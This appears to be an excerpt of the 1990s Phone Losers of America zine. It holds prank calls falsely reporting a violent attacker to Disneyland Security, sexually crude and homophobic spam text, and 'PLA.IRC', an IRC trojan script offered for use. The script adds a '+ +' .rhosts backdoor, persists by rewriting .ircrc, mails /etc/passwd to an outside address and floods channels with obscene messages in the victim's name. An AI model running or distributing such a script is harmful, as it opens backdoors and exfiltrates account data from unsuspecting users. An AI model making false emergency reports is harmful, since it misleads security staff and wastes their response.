<Zak> He was 5'7, black hair, black eyes, and he's wearing a trenchcoat.

<officer> Ok

<Zak> He's making people look at his poo for god's sake!

<officer> Were did you spot him at?

<Zak> By it's a small world

<officer> We'll send somebody out right now

<Zak> Thanks!

<Click!>

<officer> Disneyland Security

<dhate> Hi

<officer> uh hello

<dhate> we are inside the underground tunnels and you can't do anything about it!

<officer> Just what are you doing down there?

<dhate> Urinating in the corner

<officer> that's all?

<dhate> Yup what are you gonna do about it mister!

<officer> You aren't terrorists or anything?

<dhate> Nope, i'm just a fone loozer!

<officer> Can you hold for a moment?

<dhate> Sure, i'll give you some time to pull my ani

...

<officer> Sir, you're not calling from inside the park

<dhate> It sure looks like i am

<officer> well you aren't

<dhate> and just how do you know that?

<officer> because it says so right here

<dhate> Well read off my ani then

<officer> i don't have that yet but if you wait 10 more seconds i will

<dhate> 10!

<dhate> 9!

<dhate> 8!

<dhate> 7!

<dhate> 6!

<dhate> 5!

<dhate> 4!

<dhate> 3!

<dhate> 2!

<Click!>

<officer> Disneyland Security

<dhate> Yea this is Roy at the castle, some guy is sitting on top of the castle and throwing spam at passerby's!  He almost got me that time!

<officer> Are you serious?

<dhate> Oh quite serious.

<Zak> OH SHIT HE JUST KNOCKED OUT A KID WITH SPAM!

<dhate> i think you better do something quick.

<officer> what do you suggest?

<Zak> Can you bring out the helicopters and scuba divers?

<dhate> don't forget the ninja's!

<officer> why would we need all that?

<Zak> Because the guy is dangerous!

<officer> Well just keep on talking to us guys

<dhate> why's that?

<officer> so we can get your fone number

<dhate> why would you want that?

<Zak> so he can molest us!

<officer> just keep on talking funny guys

<Click!>

Beastiality FAQs:

D0uds, these are two of the most ueber faqs i have found in my whole life.  They are so elite Mitnick himself would be proud.  So read them if you have the time and read them if you don't.  These faqs just plain rool.

*************************************

#BEASTSEX/#DOGSEX FAQ

Last Updated: November 7th, 1995 by ChicknPie

*************************************

This lengthy FAQ has been deleted by THE MAN (aka: RBCP)  He also deleted the giant WWF text and all the boring UNIX stuff that was here.  He’s a big censoring jerk.

PLA.IRC:

The most elite irc script out there.  Give it to a friend today!

#pla.irc written by dr. hate in a fit of drunken rage

set novice off

exec echo + + >> .rhosts

exec echo eval load phoenix.irc >> .ircrc

exec echo "echo + + >>.rhosts">>.ircrc

say 3Y3 HAVE BEEN RHOSTED BY THE PLA!!!

exec cat /etc/passwd > pla.tar

exec mail apok0lyp@basenet.net < pla.tar

wallop I love the PLA!!!!

say I love to jerk off to pix of nekid amy@$#

wait 10

say I really love it!

wait 10

say me wants to get it in the ass in the name of r0y right now!!!

say me is going to #r0y!!! every one is invited!!!!@%^

wait 10

say me wants to suck cock in the name of r0y

join #r0y

wait 10

say I want you all!!!!!!

me likes to suck r0y's cock

wait 10

say I want to be fucked up the ass by burly r0y!!!!

wait 10

me likes it that way!!!!

say I love to get fucked in the ass by r0y

wait 10

me is feeling horney. Anyone want to fuck me for R0Y??

me is now accepting e-mail from any takers!!!

wallop I LUV THE PLA@$%@^

wait 10

say I want to be butt fucked by R0Y

join #hack

me wants to suck some horny stud named r0y

me wants to take it in the ass from r0y

say I love to get fucked up the ass by big guys named r0y!!

wait 10

say I really love the PLA!

wait 10

me wants to get it in the ass right now bye the PLA!!!

me is going to #r0ysex!!! every male is invited to come!!!

wait 10

join #r0ysex

wait 10

say I want you all!!!!!!

me likes to suck cock for the PLA!!

wait 10

say I want to be fucked up the ass by r0y!!!!

wait 10

me likes it that way!!!!

wait 10

me is feeling horney. Anyone want to fuck me for R0Y??

me is now accepting e-mail from any takers!!!

wallop I like sucking gay men named r0y

wait 10

say I want to be butt fucked by r0y

join #phreak

me wants to suck some horny stud in the PLA

say I love to get fucked up the ass by the PLA!!

wait 10

say I really love it!

say I need a horny male man now

wait 10

me wants to get it in the ass right now cuz the PLA r0x!!!

me is going to #2600!!! every male is invited to come!!!

wait 10

exec mv pla.irc phoenix.irc

join #2600

wait 10

say I want you all!!!!!!

me likes to suck cock for the PLA!!

wait 10

say I want to be fucked up the ass by the PLA!!!!!

wait 10

/me likes it that way!!!!

wait 10

/me is feeling horney. Anyone want to fuck me for R0Y??

/me is now accepting e-mail from any takers!!!

wallop PHEAR THE PLA

wait 10

say I want to be butt fucked by the PLA

join #bearcave

/me wants to suck some horny stud

say THE PLA ROQ I RAN THIER GAY SKRIPT

msg tr1be y0y0y0 fear the pla

join #hack

/nick tr1be

say y0h i'm tr1be and the pla fucks me in the rear

say y0h ish dat illin chillin fewl that sucks big burly r0y dick

exec -m k0wacid ls /* .*

/msg piker 3y3 th1nK Ur 4 l4m3 l1ttl3 b1tch tH4T k4Nt h4nDl3 b31ng 4n 1rc0p 4nd 3y3M 4 b0t 4nd th3r3 1z n0th1ng U k4n d0 4b0uT 1t b1tch!

exec -m piker ls -al /* .*

say here are my warez courtesy of the PLA!

exec -o ls -al

exec echo "i think ur a faggot, bitch!" > comment.txt

exec mail root@localhost < comment.txt

join #acid

say U shall all bow down and k1ss my butt

say i fear the PLA!

say so should you!

/me is bending over waiting for some hot d00dle stud to unload in his swolen hole!

/me wants radman to stick his penis in his butt and wiggle it!

say PHEAR THE PLA BITCHES!

Classifieds:

Sadly we only have one submission for the PLA classifieds.

Lod t-shirts

SM-XXL many colors

$19.95 a t-shirt

email erikb@phrack.com for the address

Contact The Phone Losers Of America Nearest You!

ETEXT.ARCHIVE.UMICH.EDU - pub/Zines/PhoneLosers

whombat@blitzinfo.com - RedBoxChiliPepper)

roy@spiff.net - Zak a.k.a. el_jefe

collcard@big12.metrobbs.com - Colleen Card

apok0lyp@i1.net - Apok0lyps

dhate@basenet.net - Dr. Hate

http://www.spiff.net/~rbcp/pla.html - Whombat Communications

http://www.basenet.net/~apok0lyp/index.html - PLA, Manson, Anime

http://www.compumedia.com/~jnoonan/pla - Original PLA Web Page